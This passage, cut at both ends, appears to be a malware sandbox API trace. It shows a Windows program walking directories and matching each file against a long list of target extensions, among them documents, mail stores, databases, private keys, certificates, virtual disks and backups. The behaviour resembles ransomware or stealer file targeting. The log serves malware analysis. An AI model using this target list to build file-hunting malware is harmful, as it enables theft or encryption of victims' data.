(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0110.955] lstrlenA (lpString="*.qba") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0110.955] lstrlenA (lpString="*.qby") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.955] lstrlenA (lpString="*.qbj") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.955] lstrlenA (lpString="*.ofx") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0110.956] lstrlenA (lpString="*.qif") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0110.956] lstrlenA (lpString="*.mye") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.956] lstrlenA (lpString="*.mbox") returned 6 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.956] lstrlenA (lpString="*.eml") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0110.956] lstrlenA (lpString="*.pst") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0110.956] lstrlenA (lpString="*.ost") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0110.956] lstrlenA (lpString="*.idx") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.956] lstrlenA (lpString="*.dbx") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0110.956] lstrlenA (lpString="*.sql") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.956] lstrlenA (lpString="*.mdb") returned 5 [0110.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.957] lstrlenA (lpString="*.fdb") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0110.957] lstrlenA (lpString="*.wab") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0110.957] lstrlenA (lpString="*.dat") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0110.957] lstrlenA (lpString="*.txt") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.957] lstrlenA (lpString="*.jpeg") returned 6 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.957] lstrlenA (lpString="*.jpg") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.png") returned 0 [0110.957] lstrlenA (lpString="*.png") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.php") returned 0 [0110.957] lstrlenA (lpString="*.php") returned 5 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0110.957] lstrlenA (lpString="*.cs") returned 4 [0110.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.957] lstrlenA (lpString="*.cpp") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0110.958] lstrlenA (lpString="*.rar") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0110.958] lstrlenA (lpString="*.zip") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.html") returned 0 [0110.958] lstrlenA (lpString="*.html") returned 6 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0110.958] lstrlenA (lpString="*.htm") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.958] lstrlenA (lpString="*.xlsx") returned 6 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0110.958] lstrlenA (lpString="*.xls") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.958] lstrlenA (lpString="*.mp4") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.958] lstrlenA (lpString="*.ppt") returned 5 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.958] lstrlenA (lpString="*.pptx") returned 6 [0110.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0110.958] lstrlenA (lpString="*.doc") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0110.959] lstrlenA (lpString="*.dot") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0110.959] lstrlenA (lpString="*.docx") returned 6 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0110.959] lstrlenA (lpString="*.7z") returned 4 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0110.959] lstrlenA (lpString="*.tar") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.959] lstrlenA (lpString="*.bz2") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0110.959] lstrlenA (lpString="*.gz") returned 4 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.959] lstrlenA (lpString="*.mkv") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.959] lstrlenA (lpString="*.eml") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0110.959] lstrlenA (lpString="*.msg") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0110.959] lstrlenA (lpString="*.edb") returned 5 [0110.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.960] lstrlenA (lpString="*.accdb") returned 7 [0110.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0110.960] lstrlenA (lpString="*.odb") returned 5 [0110.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.java") returned 0 [0110.960] lstrlenA (lpString="*.java") returned 6 [0110.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0110.960] lstrlenA (lpString="*.asm") returned 5 [0110.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.960] lstrlenA (lpString="*.pfx") returned 5 [0110.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0110.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0110.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0110.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0110.964] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7266d940, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7266d940, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7266d940, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.964] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.964] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x378804f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x378804f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x378804f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a58534126a42a5dbdef4573bac06c734", cAlternateFileName="A58534~1")) returned 1 [0110.965] lstrcmpA (lpString1=".", lpString2="a58534126a42a5dbdef4573bac06c734") returned -1 [0110.965] lstrcmpA (lpString1="..", lpString2="a58534126a42a5dbdef4573bac06c734") returned -1 [0110.965] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.965] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="a58534126a42a5dbdef4573bac06c734" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734" [0110.965] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x378804f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x378804f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x378804f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.965] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.965] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x378804f0, ftCreationTime.dwHighDateTime=0x1d301c0, 